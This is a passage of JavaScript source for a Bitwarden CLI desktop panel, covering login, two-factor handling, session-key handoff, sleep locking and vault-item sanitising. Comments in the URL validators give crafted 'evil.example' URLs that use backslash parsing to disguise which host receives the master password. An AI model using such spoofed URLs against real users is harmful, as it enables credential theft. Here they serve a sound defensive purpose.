MAX_REMEMBERED_ACCOUNTS = 10 + +// Bitwarden treats the login address case-insensitively, so the key has to as +// well or the same account remembers itself twice. +function twoFactorAccountKey(email) { + return String(email || "").trim().toLowerCase() +} + +// shell.json is not validated by anything that writes it, and a remembered +// method is read straight back into an argv, so it is checked against the table +// on the way in as well as on the way out. Anything else is "not remembered", +// which costs one picker rather than a malformed command. +function rememberedTwoFactorMethodFor(store, email) { + var key = twoFactorAccountKey(email) + if (!key || !store || typeof store !== "object") return -1 + var raw = store[key] + // The same reason intSetting() does not lean on Number() alone: it reads + // null, "" and false as 0, and 0 is Authenticator, so an absent entry would + // come back as a confident answer. + var m = (typeof raw === "number" || (typeof raw === "string" && String(raw).trim() !== "")) + ? Math.floor(Number(raw)) + : NaN + return isFinite(m) && isTwoFactorMethod(m) ? m : -1 +} + +// Rebuilt rather than mutated, so whatever else is in that key -- a hand-edit, +// an entry from a newer version, an unreadable value -- cannot survive into +// what gets written back. Bounded, because this is a config file and not a +// history: past the cap the oldest surviving entries are simply not copied, +// which costs their accounts one picker each. +function rememberTwoFactorMethodIn(store, email, method) { + var key = twoFactorAccountKey(email) + if (!key || !isTwoFactorMethod(method)) return null + var next = {} + var kept = 0 + if (store && typeof store === "object") { + for (var k in store) { + var other = twoFactorAccountKey(k) + if (!other || other === key) continue + var existing = rememberedTwoFactorMethodFor(store, k) + if (existing < 0) continue + if (kept >= MAX_REMEMBERED_ACCOUNTS - 1) continue + next[other] = existing + kept++ + } + } + next[key] = method + return next +} + +function forgetTwoFactorMethodIn(store, email) { + var key = twoFactorAccountKey(email) + if (!key || !store || typeof store !== "object") return null + var next = {} + for (var k in store) { + var other = twoFactorAccountKey(k) + if (!other || other === key) continue + var existing = rememberedTwoFactorMethodFor(store, k) + if (existing >= 0) next[other] = existing + } + return next +} + +function emailLoginPrewarmCommand(email, hasCode, serverUrl, method) { + var command = "" + + if (serverUrl && serverUrl.trim()) { + command += "bw config server " + shellQuote(serverUrl.trim()) + " >/dev/null 2>&1 && " + } + + command += "bw login " + shellQuote(email) + " --passwordfile \"$__auth_fifo\"" + if (isTwoFactorMethod(method)) command += " --method " + String(method) + if (hasCode) command += " --code \"$" + TWOFACTOR_CODE_ENV + "\"" + command += " --raw | head -c " + MAX_TOKEN_BYTES + return supervisedAuthCommand("login", command) +} + +// bw 2026.2.0 answers two different challenges with this one bare sentence, +// and which one it is decides whether this panel can answer it at all. See +// loginNeedsDeviceVerification(). +// How long the one interactive login may run. It is answering a prompt with a +// code the user has already typed, so it is a couple of server round trips -- +// not a person thinking. The bound exists so a login that reaches no prompt at +// all cannot sit holding the master password until the panel is closed. +var DEVICE_VERIFICATION_TIMEOUT_S = 60 + +// The only login that runs with bw's prompts enabled. +// +// New-device verification is the one challenge bw accepts from no flag. Its +// token comes from an inquirer prompt and from nothing else, so stdin is the +// only way to answer it, and a login that cannot answer it cannot finish here +// at all. +// +// Piping rather than opening a pty is what keeps BW_NOINTERACTION's guarantee +// after taking BW_NOINTERACTION away. That flag was there so bw fails fast +// instead of blocking on a prompt nobody can see, and a pipe ends: measured +// against the inquirer 8.2.6 that bw bundles, a prompt with nothing left to +// read throws ERR_USE_AFTER_CLOSE and the process exits, and a second prompt +// after the single line supplied here does the same. So an unexpected prompt +// still ends the login rather than hanging it, which is the property that +// mattered. `timeout` covers the remainder: a bw that never prompts at all. +// +// The code itself is read from the environment by printf, so unlike --code it +// reaches no argv, not even bw's. +function deviceVerificationLoginCommand(email, serverUrl, method) { + var command = "" + + if (serverUrl && serverUrl.trim()) { + command += "bw config server " + shellQuote(serverUrl.trim()) + " >/dev/null 2>&1 && " + } + + command += "printf '%s\\n' \"$" + DEVICE_CODE_ENV + "\" | " + command += "timeout " + DEVICE_VERIFICATION_TIMEOUT_S + "s bw login " + shellQuote(email) + + " --passwordfile \"$__auth_fifo\"" + if (isTwoFactorMethod(method)) command += " --method " + String(method) + command += " --raw | head -c " + MAX_TOKEN_BYTES + return supervisedAuthCommand("login", command) +} + +// inquirer's own failure when it is asked for input that is not coming. It +// means bw reached a prompt this login did not expect, which is a reason to +// hand the login to a terminal rather than anything to show the user. +function loginPromptRanOutOfInput(stdoutText, stderrText) { + var combined = String(stderrText || "") + "\n" + String(stdoutText || "") + return /ERR_USE_AFTER_CLOSE|readline was closed/.test(combined) +} + +// An interactive bw draws its prompt on stderr and echoes every keystroke back +// with the cursor movement to match, so the captured stream holds the code and +// a great deal of noise. None of that is an error message. Strip the escape +// sequences, drop the lines inquirer drew, and redact the code itself, so what +// is left is whatever bw actually had to say. +function sanitizeInteractiveStderr(raw, secret) { + var text = String(raw || "") + .replace(/\x1b\[[0-9;?]*[A-Za-z]/g, "") + .replace(/\x1b[@-Z\\-_]/g, "") + .replace(/\r/g, "\n") + var code = String(secret || "").trim() + var parts = text.split("\n") + var kept = [] + for (var i = 0; i < parts.length; i++) { + var line = parts[i].trim() + if (!line) continue + if (line.charAt(0) === "?") continue + if (code && line.indexOf(code) !== -1) continue + kept.push(line) + } + // A crashing node prints a stack trace, which is not an error message + // either. Whatever survives is only ever shown as one line of context. + return kept.join(" ").slice(0, 300) +} + +// A failed login is the hardest thing in this plugin to diagnose: it happens on +// someone else's machine, against someone else's account, and the panel shows a +// curated message rather than whatever bw said. This reports the shape of an +// attempt and never its content -- the session token is counted, not printed, +// and stderr goes through the same sanitiser the panel uses before it shows +// anything, with no code to redact because none is passed. +function loginDiagnostic(stdoutText, stderrText, exitCode, branch) { + return "exit=" + String(exitCode) + + " stdout=" + String(stdoutText || "").length + "b" + + " branch=" + String(branch || "?") + + " stderr=" + JSON.stringify(sanitizeInteractiveStderr(stderrText, "").slice(0, 200)) +} + +function loginCodeIsRequiredChallenge(stdoutText, stderrText) { + var combined = (String(stderrText || "") + "\n" + String(stdoutText || "")).toLowerCase() + return /(?:^|[\r\n])\s*code\s+is\s+required[.!]?\s*(?=$|[\r\n])/.test(combined) +} + +function loginNeedsSecondFactor(stdoutText, stderrText) { + var combined = (String(stderrText || "") + "\n" + String(stdoutText || "")).toLowerCase() + return /(?:two[ _-]?(?:step|factor)|2fa|verification[ _-]?code)/.test(combined) + || loginCodeIsRequiredChallenge(stdoutText, stderrText) +} + +// New-device verification is the challenge --code cannot answer. bw's login +// command takes a two-step token from --code and reads it only in its +// requiresTwoFactor branch; the requiresDeviceVerification branch that follows +// takes its OTP from an inquirer prompt and nothing else, so BW_NOINTERACTION +// leaves it with an empty token and it returns "Code is required." again. bw +// 2026.2.0 offers no flag for that token -- login accepts --method, --code, +// --sso, --apikey, --passwordenv and --passwordfile, and none of them reach it. +// +// The two challenges are indistinguishable on a first attempt: both come back +// as that same sentence. They separate on the second. A login that carried a +// code and still says the code is required did not have its code rejected -- +// a rejected two-step token says so ("Two-step token is invalid") -- it was +// never read. That attempt is the evidence, so the caller passes it in. +function loginNeedsDeviceVerification(stdoutText, stderrText, codeWasSent) { + if (!codeWasSent) return false + return loginCodeIsRequiredChallenge(stdoutText, stderrText) +} + +// bw's answer when an account has more than one usable provider and nothing +// told it which one to use. It reads like a failure but it is a question: bw +// would have shown a menu here if it had a terminal to show one on, and +// --method is the only answer it accepts. Guessing at it is what produces a +// real failed attempt, so the panel asks instead. +function loginNeedsMethodChoice(stdoutText, stderrText) { + var combined = (String(stderrText || "") + "\n" + String(stdoutText || "")).toLowerCase() + return /no\s+provider\s+selected/.test(combined) +} + +// The dead end next to it: the account's two-step methods are all ones this +// client cannot perform -- a passkey or Duo, typically. No --method answers +// this and no terminal helps, because it is the CLI that lacks the support, +// so the only way in is an API key. +function loginHasNoUsableProvider(stdoutText, stderrText) { + var combined = (String(stderrText || "") + "\n" + String(stdoutText || "")).toLowerCase() + return /no\s+providers\s+available\s+for\s+this\s+client/.test(combined) +} + +// The password remains in BW_PASSWORD, inherited only by this short-lived +// writer. The nested shell script is a literal in argv (it contains the +// variable name, not its value), and timeout prevents a dead reader from +// leaving the writer blocked forever between the FIFO check and open. +function authPasswordWriteCommand(channel) { + var fifoName = authPasswordFifoName(channel) + if (!fifoName) return [] + + var script = "test -n \"${XDG_RUNTIME_DIR:-}\" || exit 1; " + script += "__auth_dir=\"$XDG_RUNTIME_DIR/" + RUNTIME_SUBDIR + "\"; " + script += "[ -d \"$__auth_dir\" ] && [ ! -L \"$__auth_dir\" ] || exit 1; " + script += "__auth_fifo=\"$__auth_dir/" + fifoName + "\"; " + script += "for __auth_wait in {1..200}; do " + script += "if [ -p \"$__auth_fifo\" ] && [ ! -L \"$__auth_fifo\" ]; then " + script += "exec timeout 10s bash -c 'printf \"%s\" \"$" + PASSWORD_ENV + "\" > \"$1\"' _ \"$__auth_fifo\"; " + script += "fi; sleep 0.01; done; exit 1" + return ["bash", "-c", script] +} + +// `hasCode` rather than the code itself -- only whether the flag is present +// shapes the command; the value comes from the environment. +// The custom-server field is where the master password is about to be sent, +// and `bw config server` takes whatever it is given. Two things it must not be +// allowed to be. +// +// It must not be a scheme bw will not speak. Anything that is not http or +// https is a typo at best, and `bw config server` accepting it quietly means +// the failure surfaces later as an unexplained login error. +// +// It must not be plaintext http to somewhere off this machine. That is the +// master password and every vault secret behind it, in the clear, to whoever +// is on the path -- and the field is a plausible thing to talk someone into +// pasting. Loopback is the exception, because there is no path: a Vaultwarden +// on 127.0.0.1 or an SSH tunnel to one is a normal way to run this. +// +// Returns "" for a URL that is fine to use (including an empty one, which +// means the official server), or the reason it was refused. +var SERVER_SCHEME_RE = /^([a-zA-Z][a-zA-Z0-9+.-]*):\/\// +var LOOPBACK_HOST_RE = /^(?:localhost|127(?:\.\d{1,3}){3}|\[::1\]|::1)$/i +var BITWARDEN_US_SERVER = "https://vault.bitwarden.com" +var BITWARDEN_EU_SERVER = "https://vault.bitwarden.eu" + +// Both cloud regions are explicit because bw persists its last configured +// server. An empty US override after an EU login would keep sending the next +// login to EU. Unknown UI state fails closed to US instead of accidentally +// sending credentials to a stale custom URL. +function loginServerUrlFor(region, customUrl) { + var choice = String(region || "").toLowerCase() + if (choice === "eu") return BITWARDEN_EU_SERVER + if (choice === "custom") return String(customUrl || "").trim() + return BITWARDEN_US_SERVER +} + +function validateServerUrl(raw) { + var url = String(raw || "").trim() + if (!url) return "" + + // Node's WHATWG URL parser (used by bw) treats backslashes as path + // separators for http(s), while the small parser below would leave one in + // the authority. That disagreement can turn + // `http://evil.example\@localhost` into "localhost" here but evil.example + // on the wire, bypassing the plaintext-password protection. + if (url.indexOf("\\") !== -1) return "Server URL must not contain backslashes" + + var m = url.match(SERVER_SCHEME_RE) + if (!m) return "Server URL must start with https:// (or http:// for localhost)" + + var scheme = m[1].toLowerCase() + if (scheme !== "http" && scheme !== "https") { + return "Server URL must be http or https, not " + scheme + ":" + } + + // Host is everything up to the first /, ? or #, minus any userinfo. + var rest = url.slice(m[0].length) + var host = rest.split(/[\/?#]/)[0] + var at = host.lastIndexOf("@") + if (at !== -1) host = host.slice(at + 1) + host = host.replace(/:\d*$/, "") + if (!host) return "Server URL is missing a host name" + + if (scheme === "http" && !LOOPBACK_HOST_RE.test(host)) { + return "Refusing to send your master password over plain http to " + host + + ". Use https:// (http is allowed only for localhost)." + } + + return "" +} + +// `login --apikey` authenticates but does not unlock, so the master password +// is still needed for the second step. Both come from the environment. +function apiKeyLoginCommand(serverUrl) { + var script = "" + + if (serverUrl && serverUrl.trim()) { + script += "bw config server " + shellQuote(serverUrl.trim()) + " >/dev/null 2>&1 && " + } + + script += "bw login --apikey >/dev/null 2>&1 && " + script += "bw unlock --passwordenv " + PASSWORD_ENV + " --raw | head -c " + MAX_TOKEN_BYTES + return supervisedProcessCommand(script) +} + +// ------------------------------------------------------------------------- +// Terminal login handoff +// ------------------------------------------------------------------------- +// +// `bw login` in a terminal covers what the in-panel form cannot -- SSO, Duo, a +// hardware key -- but it used to leave the panel none the wiser, so a +// successful terminal login was immediately followed by unlocking all over +// again. The terminal now writes its session key to a file the panel reads +// once and deletes. +// +// The key is a secret at rest, so it goes to XDG_RUNTIME_DIR: user-only tmpfs, +// never written to disk, and cleared when the session ends. `--raw` prints only +// the key on stdout while bw's prompts stay on stderr, so redirecting it keeps +// the login interactive. + +// No fallback if XDG_RUNTIME_DIR is missing. It is set by pam_systemd at login +// and is a precondition of the systemd user manager that `omarchy launch +// terminal` runs the terminal under, so it cannot realistically be absent -- +// and a `${XDG_RUNTIME_DIR:-/tmp}` default would quietly turn that impossible +// case into "write the session key somewhere world-writable", where another +// user could have pre-created the directory. Fail closed instead. +var HANDOFF_BASENAME = "session-handoff" + +// `mode` is "login" when logged out and "unlock" when merely locked. The panel +// already knows which, so this does not probe with `bw status` first -- that +// probe measured at ~3.3s, spent before the user was even shown a prompt. +function terminalLoginCommand(mode, serverUrl) { + var verb = (mode === "unlock") ? "unlock" : "login" + var configureServer = (verb === "login" && serverUrl && serverUrl.trim()) + ? "bw config server " + shellQuote(serverUrl.trim()) + " >/dev/null 2>&1 && " + : "" + var inner = "set -u; " + + "d=\"${XDG_RUNTIME_DIR:?no XDG_RUNTIME_DIR -- refusing to write a session key}/" + + RUNTIME_SUBDIR + "\"; f=\"$d/" + HANDOFF_BASENAME + "\"; " + // umask before mkdir, so the directory is born 700 rather than created + // world-readable and narrowed a moment later. The chmod then covers a + // directory that already existed, and both are checked: a chmod that + // fails means the directory is not ours, which is not a place for a key. + + "umask 077; if [ -e \"$d\" ]; then " + + "[ -d \"$d\" ] && [ ! -L \"$d\" ] || exit 1; " + + "else mkdir -p \"$d\" || exit 1; fi; chmod 700 \"$d\" || exit 1; " + // Remove a stale entry before opening the output path, so a pre-created + // symlink is unlinked rather than followed by shell redirection. + + "rm -f -- \"$f\" || exit 1; " + + configureServer + + "if bw " + verb + " --raw > \"$f\" && [ -s \"$f\" ]; then " + // Bring the panel back itself rather than making the user find it again. + // Only the method name crosses this boundary; the key never does. + + "omarchy-shell io.github.elevate08.qs-bitwarden-cli open >/dev/null 2>&1 || true; " + + "echo; echo 'Done. Returning to the Bitwarden panel...'; sleep 1; " + + "else rm -f \"$f\"; echo; echo 'Not completed -- nothing was handed to the panel.'; " + + "read -p 'Press enter to close...'; fi" + var script = "omarchy launch terminal -e bash -c " + shellQuote(inner) + + " || alacritty -e bash -c " + shellQuote(inner) + return ["bash", "-c", script] +} + +// How long after launching a terminal login the panel will still accept what +// that terminal left behind. Long enough for a real login -- a password, a +// push to a phone, a hardware key tap, and bw's own round trip -- and short +// enough that the window is not simply always open. +var HANDOFF_WINDOW_MS = 10 * 60 * 1000 + +function handoffWindowMs() { + return HANDOFF_WINDOW_MS +} + +// Whether a handoff written now would still be accepted. `startedAt` is when +// the panel launched the terminal, or 0 if it never did. +// How long a login that is waiting on a second factor survives the panel being +// closed. +// +// It has to survive it at all, because a code that arrives by email cannot be +// read without leaving the panel, and a login that forgets everything the +// moment it loses focus is one that can never be completed by email -- not for +// two-step email codes and not for new-device verification, which is emailed +// too. The panel dropping its state on close is right for every other case and +// wrong for this one. +// +// Shorter than the terminal handoff window, because what is being held over is +// the master password rather than a session key: long enough to open a mail +// client and read six digits, not long enough to be somewhere the password +// lives. +var SECOND_FACTOR_WINDOW_MS = 5 * 60 * 1000 + +function secondFactorWindowOpen(startedAt, now) { + var began = Number(startedAt) + if (!isFinite(began) || began <= 0) return false + var elapsed = Number(now) - began + // Measured on the wall clock rather than a monotonic timer, for the reason + // the auto-lock is: a suspended machine stops CLOCK_MONOTONIC, and a login + // left pending across a lid close must expire on the time that actually + // passed. A clock stepped backwards closes the window rather than reopening + // it, the same way handoffWindowOpen() treats it. + if (!isFinite(elapsed) || elapsed < 0) return false + return elapsed <= SECOND_FACTOR_WINDOW_MS +} + +function handoffWindowOpen(startedAt, now) { + var began = Number(startedAt) + if (!isFinite(began) || began <= 0) return false + var elapsed = Number(now) - began + // A clock stepped backwards leaves a negative elapsed time. That is not + // evidence the login was recent; it is evidence the clock moved, so the + // window closes rather than reopening for ten minutes. + if (!isFinite(elapsed) || elapsed < 0) return false + return elapsed <= HANDOFF_WINDOW_MS +} + +// Read-once: the key is consumed by the panel and the file removed, so it does +// not linger for the next process that goes looking. +// +// `expecting` is the whole point of this signature. The read runs on every +// status refresh, and it used to consume whatever was at that path regardless +// of whether the panel had ever asked for a terminal login -- so anything able +// to write the file could hand the panel a session key at a moment of its own +// choosing, and the panel would adopt it and write it to the keyring. The +// runtime directory is 0700, so that is one of this user's own processes +// rather than a stranger, and this was never a privilege boundary. It is a +// window that had no reason to be open: a key is only ever expected in the +// minutes after *we* launched a terminal, so those are the only minutes it is +// read in. +// +// Unexpected is not the same as ignored. The file is removed either way -- +// leaving a live session key sitting in the runtime directory because nobody +// was expecting it is the worse of the two outcomes, and a legitimate login +// the user abandoned halfway leaves exactly that. +// +// A missing runtime dir means "nothing was handed over" and exits quietly +// rather than erroring into the shell log the way the write side deliberately +// does. +function sessionHandoffReadCommand(expecting) { + var script = "d=\"${XDG_RUNTIME_DIR:-}\"; [ -n \"$d\" ] || exit 0; " + + "d=\"$d/" + RUNTIME_SUBDIR + "\"; " + + "[ -d \"$d\" ] && [ ! -L \"$d\" ] || exit 0; " + + "f=\"$d/" + HANDOFF_BASENAME + "\"; " + + "[ -s \"$f\" ] && [ -f \"$f\" ] && [ ! -L \"$f\" ] || exit 0; " + if (expecting) { + script += "head -c " + MAX_HANDOFF_BYTES + " \"$f\"; " + } + script += "rm -f \"$f\"" + return ["bash", "-c", script] +} + +// ------------------------------------------------------------------------- +// Locking on screen lock and on suspend +// ------------------------------------------------------------------------- +// +// Auto-lock only ever measured elapsed time, and the two moments a vault most +// obviously stops being attended are not about elapsed time at all: the screen +// locking, and the machine going to sleep. Both used to leave the vault open +// for whatever was left of the countdown. Omarchy already treats the first as +// a "lock your password manager now" event -- `omarchy-system-lock` locks +// 1Password -- so this is the same event, read from the same place. + +// The screen-lock half has to be asked rather than waited for. The Omarchy +// lock screen is `WlSessionLock` (ext-session-lock), which is a compositor +// protocol with no bus presence: it never calls `loginctl lock-session`, so +// logind's `LockedHint` stays "no" and its `Lock` signal never fires while the +// screen is locked. The shell's own lock plugin is the only thing that knows, +// and the only way to ask it is its IPC handler. +// +// Only the exact string "true" counts as locked. A shell with the lock plugin +// disabled answers "Target not found." on stdout and exits non-zero, and that +// is "no answer" rather than "unlocked" -- but neither may be read as "locked", +// because a vault that locks itself every few seconds on a machine with no +// lock screen is a vault nobody can use. +function screenLockStateCommand() { + return ["bash", "-c", "omarchy-shell lock isLocked 2>/dev/null | head -c 16"] +} + +function screenIsLocked(raw) { + return String(raw || "").trim() === "true" +} + +// How often to ask. Only ever runs while the setting is on *and* the vault is +// unlocked, so the default configuration pays nothing and a locked vault stops +// paying the moment it locks. The call is an IPC round trip to a socket in the +// runtime directory and measures at ~50ms. +var SCREEN_LOCK_POLL_MS = 3000 + +function screenLockPollMs() { + return SCREEN_LOCK_POLL_MS +} + +// The suspend half is a real event, so it is waited for rather than polled. +// logind announces `PrepareForSleep(true)` before sleeping and +// `PrepareForSleep(false)` on resume, for every path into suspend -- the lid, +// the menu, `systemctl suspend`, an idle timeout -- which is more than any one +// of those could be watched individually. +// +// The delay inhibitor is what makes the lock mean something. Without one, +// logind announces the sleep and suspends without waiting, so the vault would +// be locked by a panel that is about to be frozen mid-way through doing it -- +// and a session key still in the keyring is a session key in the memory image. +// A delay inhibitor makes logind wait, and it costs nothing until a suspend +// actually happens: it is held continuously, and released a second after the +// announcement, which is far inside logind's own InhibitDelayMaxSec (5s by +// default) and long enough for the panel to drop the key and for the keyring +// clear it spawns to finish. +// +// Held *inside* the loop rather than around it, because an inhibitor is only +// released by the process holding it exiting. Announce, wait a beat, exit to +// release, then loop round to take a fresh one for the next suspend. +// +// `gdbus monitor` needs `--dest`, and prints a line about the name having no +// owner rather than exiting if logind is somehow absent, so it keeps waiting +// instead of spinning the loop. sed does the matching, so only the one word +// the panel cares about ever crosses the pipe. +// +// The monitor is killed by pid rather than left to a broken pipe. sed quits on +// the match, but a plain `monitor | sed` would then sit in the pipeline until +// the monitor next wrote something -- and the next thing logind announces +// after a sleep is the resume, which is on the far side of the suspend this is +// supposed to be delaying. The inhibitor would still be held, the loop would +// never come round, and only the very first suspend of the session would ever +// be noticed. Bash sets $! for a process substitution, so the monitor can be +// read from an fd and then killed outright. +var SLEEP_SIGNAL_TOKEN = "sleep" +var WAKE_SIGNAL_TOKEN = "wake" + +function sleepSignalToken() { return SLEEP_SIGNAL_TOKEN } +function wakeSignalToken() { return WAKE_SIGNAL_TOKEN } + +function sleepMonitorCommand() { + var monitor = "gdbus monitor --system --dest org.freedesktop.login1" + + " --object-path /org/freedesktop/login1 2>/dev/null" + + // -u so the match leaves sed the moment it is read, rather than sitting in a + // block buffer until after the machine has already suspended. + var match = "sed -une '/PrepareForSleep (true,/{s/.*/" + SLEEP_SIGNAL_TOKEN + "/p;q}'" + + var inner = "exec 3< <(" + monitor + "); g=$!; " + + match + " <&3; " + + "kill \"$g\" 2>/dev/null; exec 3<&-; " + // The beat that makes the inhibitor worth holding: the panel has the token + // by now, and this is the time it gets to act on it before logind is told + // we are done. + + "sleep 1" + + // The loop never exits on its own. Bound to the setting, this process is + // started and stopped by the panel and by nothing else, so every path that + // could fail waits before trying again instead of returning and inviting a + // restart -- a monitor that cannot start must not become a hot loop. + var script = "while :; do " + + "command -v gdbus >/dev/null 2>&1 || { sleep 300; continue; }; " + + "if systemd-inhibit --what=sleep --mode=delay" + + " --who=" + shellQuote("Bitwarden") + + " --why=" + shellQuote("Locking the vault before sleep") + + " bash -c " + shellQuote(inner) + "; then " + // Resume. Reported once the inhibitor is gone, since nothing waits on it. + + "echo " + shellQuote(WAKE_SIGNAL_TOKEN) + "; " + + "else sleep 5; fi; " + + "done" + return ["bash", "-c", script] +} + +function activeWindowCommand() { + var script = "hyprctl activewindow -j 2>/dev/null | grep -q '\"class\": \"[^\"]' " + + "&& (hyprctl activewindow -j 2>/dev/null | head -c 65536) " + + "|| (hyprctl clients -j 2>/dev/null | head -c 1048576)" + return ["sh", "-c", script] +} + +// ------------------------------------------------------------------------- +// Opening an item's URI +// ------------------------------------------------------------------------- +// +// A vault item's URI is data, not something the panel wrote, and an item can +// arrive from a shared organization collection that somebody else can edit. +// xdg-open hands whatever scheme it is given to whichever program claims it, +// so `file:///`, `ftp://` or a desktop-registered custom scheme would all be +// launched on a click. Only the web schemes are followed. +// +// A colon followed by digits is a port, not a scheme, so "example.com:8080" +// and "localhost:3000" still work as the bare hosts they are. +var HTTP_URL_RE = /^https?:\/\//i +var URL_SCHEME_RE = /^([a-zA-Z][a-zA-Z0-9+.-]*):(?!\d)/ + +// Returns { ok: true, url } for something safe to open, or { ok: false, +// scheme } naming what was refused. +function normalizeOpenableUrl(raw) { + var target = String(raw || "").trim() + if (!target) return { ok: false, scheme: "" } + // Browsers parse backslashes as slashes in http(s) authorities. Refuse the + // ambiguous spelling rather than displaying one apparent host and opening + // another (for example `https://evil.example\@trusted.example`). + if (target.indexOf("\\") !== -1) return { ok: false, scheme: "", reason: "ambiguous" } + + if (HTTP_URL_RE.test(target)) return { ok: true, url: target } + + var scheme = target.match(URL_SCHEME_RE) + if (scheme) return { ok: false, scheme: scheme[1].toLowerCase() } + + // No scheme: a bare host, optionally with a port and path. + return { ok: true, url: "https://" + target } +} + +function logoutCommand() { + return ["bw", "logout"] +} + +function listCommand() { + return buildCappedCommand(["list", "items"], MAX_ITEMS_BYTES, MAX_STDERR_BYTES) +} + +// `bw list items` returns complete decrypted ciphers. In particular, an SSH +// item carries its private key, and cipher types added after this panel was +// written otherwise fall through as ordinary logins. Keep that stream out of +// QML by allowlisting supported types in a short-lived jq process. Types 1-4 +// remain complete because their existing edit/detail paths need rawObject. A +// malformed cross-typed ordinary item with an sshKey subtree therefore fails +// the whole read instead of being mutated or allowed to smuggle private-key +// material through that branch. Type 5 is reduced to public metadata, and +// every other type is omitted. +// +// This command is introduced separately from listCommand() so the process +// boundary can be proved before the panel adopts its new output contract. +var SANITIZED_ITEMS_FILTER = [ + "def string_or_empty: if type == \"string\" then . else \"\" end;", + "def string_or_null: if type == \"string\" then . else null end;", + "def bool_or_false: if type == \"boolean\" then . else false end;", + "def reprompt_or_zero: if . == 0 or . == 1 then . else 0 end;", + "def item_type: try (.type | tonumber) catch null;", + "def ordinary_type: item_type as $t | ($t == 1 or $t == 2 or $t == 3 or $t == 4);", + "def ssh_type: item_type == 5;", + "if type != \"array\" then", + " error(\"expected one item array\")", + "elif any(.[] | objects | select(ordinary_type); has(\"sshKey\")) then", + " error(\"ordinary item carries an SSH key subtree\")", + "else", + " {", + " sshCapability: (if any(.[] | objects; ssh_type) then \"confirmed\" else \"unconfirmed\" end),", + " items: [.[] | objects | select(ordinary_type)],", + " sshKeys: [.[] | objects | select(ssh_type) | {", + " id: (.id | string_or_empty),", + " name: (.name | string_or_empty),", + " type: 5,", + " organizationId: (.organizationId | string_or_null),", + " folderId: (.folderId | string_or_null),", + " favorite: (.favorite | bool_or_false),", + " reprompt: (.reprompt | reprompt_or_zero),", + " publicKey: ((try (.sshKey.publicKey // .publicKey) catch null) | string_or_empty),", + " fingerprint: ((try (.sshKey.fingerprint // .sshKey.keyFingerprint // .fingerprint // .keyFingerprint) catch null) | string_or_empty)", + " }]", + " }", + "end" +].join("\n") + +// The agent branch's projection. It sees the same validated array the panel +// filter sees, and reduces it to the one thing the companion is allowed to +// hold: eligible private keys, framed by the load nonce. +// +// Re-prompt items are dropped here rather than sent and skipped later. The +// companion refuses them too -- that check is authoritative and stays -- but a +// private key that never leaves this stage is one fewer copy in one fewer +// process. Items with no private key are dropped for the same reason: an empty +// PEM is not a key, and forwarding it would only produce a skip on the far side. +// +// The field names and shape are fixed by the companion's decoder, which uses +// serde `deny_unknown_fields`. Anything extra here fails the whole load closed. +var AGENT_KEYS_FILTER = [ + "def string_or_empty: if type == \"string\" then . else \"\" end;", + "def reprompt_or_zero: if . == 0 or . == 1 then . else 0 end;", + "def item_type: try (.type | tonumber) catch null;", + "def ssh_type: item_type == 5;", + "if type != \"array\" then", + " error(\"expected one item array\")", + "else", + " {", + " loadId: $loadId,", + " items: [.[] | objects | select(ssh_type)", + " | select((.reprompt | reprompt_or_zero) == 0)", + " | {", + " itemId: (.id | string_or_empty),", + " name: (.name | string_or_empty),", + " privateKey: ((try (.sshKey.privateKey // .privateKey) catch null) | string_or_empty),", + " publicKey: ((try (.sshKey.publicKey // .publicKey) catch null) | string_or_empty),", + " fingerprint: ((try (.sshKey.fingerprint // .sshKey.keyFingerprint // .fingerprint // .keyFingerprint) catch null) | string_or_empty),", + " requiresReprompt: false", + " }", + " | select(.privateKey != \"\")]", + " }", + "end" +].join("\n") + +// jq deliberately accepts several non-JSON extensions and replaces malformed +// UTF-8 before a filter can measure it. Validate and count the bounded raw byte +// stream first with the Node runtime that `bw` itself requires. Nothing is +// written until the entire input is valid strict JSON, so parse failures cannot +// leak a partial vault or an exception containing source material. +var STRICT_JSON_PASSTHROUGH = [ + "const maxBytes = Number(process.argv[1]);", + "const chunks = [];", + "let byteLength = 0;", + "process.stdin.on(\"data\", function (chunk) {", + " byteLength += chunk.length;", + " chunks.push(chunk);", + "});", + "process.stdin.on(\"end\", function () {", + " if (byteLength > maxBytes) process.exit(1);", + " const raw = Buffer.concat(chunks, byteLength);", + " try {", + " const decoder = new (require(\"util\").TextDecoder)(\"utf-8\", { fatal: true });", + " const parsed = JSON.parse(decoder.decode(raw));", + " if (!Array.isArray(parsed)) process.exit(1);", + " } catch (error) {", + " process.exit(1);", + " }", + " process.stdout.write(raw);", + "});" +].join("\n") + +// The same validator, for the one-item response `bw create item` and +// `bw edit item` print. It differs only in the shape it accepts and the two +// brackets it adds, so the sanitizing filter -- which is written against an +// array and must stay that way -- can be reused unchanged on a save. +// +// The wrapping is done here rather than by a `jq -s` upstream of the filter, +// because the whole point of this stage is that strict Node JSON is the first +// thing to parse these bytes. Letting jq slurp them into an array first would +// hand the lenient parser the untrusted input and validate what it produced. +var STRICT_JSON_ONE_OBJECT = [ + "const maxBytes = Number(process.argv[1]);", + "const chunks = [];", + "let byteLength = 0;", + "process.stdin.on(\"data\", function (chunk) {", + " byteLength += chunk.length;", + " chunks.push(chunk);", + "});", + "process.stdin.on(\"end\", function () {", + " if (byteLength > maxBytes) process.exit(1);", + " const raw = Buffer.concat(chunks, byteLength);", + " try {", + " const decoder = new (require(\"util\").TextDecoder)(\"utf-8\", { fatal: true });", + " const parsed = JSON.parse(decoder.decode(raw));", + " if (parsed === null || typeof parsed !== \"object\" || Array.isArray(parsed)) process.exit(1);", + " } catch (error) {", + " process.exit(1);", + " }", + " process.stdout.write(\"[\");", + " process.stdout.write(raw);", + " process.stdout.write(\"]\");", + "});" +].join("\n") + +// Printed instead of an envelope when the save itself succeeded but the +// sanitizing stage did not. The item is in the vault either way, so the panel +// must not call this a failure -- it falls back to a full reload, which is +// exactly what it did before any of this existed. +var SAVED_UNSANITIZED_MARKER = "__QSBW_SAVED_UNSANITIZED__" + +var SANITIZED_LIST_ERROR = "Could not safely read vault items." +var SANITIZED_LIST_SSH_FIX_HINT = " Bitwarden CLI before " + SSH_MALFORMED_ITEM_FIX_VERSION + + " can fail on malformed SSH key items. Upgrading to " + SSH_MALFORMED_ITEM_FIX_VERSION + + " or newer may fix this." + +// The optional `tee` branch. Three rules shape every line of it, because this +// is the one place where an optional feature sits inside the pipeline the +// ordinary item list depends on: +// +// 1. It never blocks the pipeline on opening the FIFO. The writer opens it +// O_RDWR, which on a FIFO never waits for a peer -- so a companion +// that died between the panel's readiness check and this read costs +// nothing instead of hanging the list behind a blocking open. +// 2. It never writes anywhere but the real FIFO descriptor it opened with +// O_NOFOLLOW. A pathname check followed by a shell redirection would let +// the last component 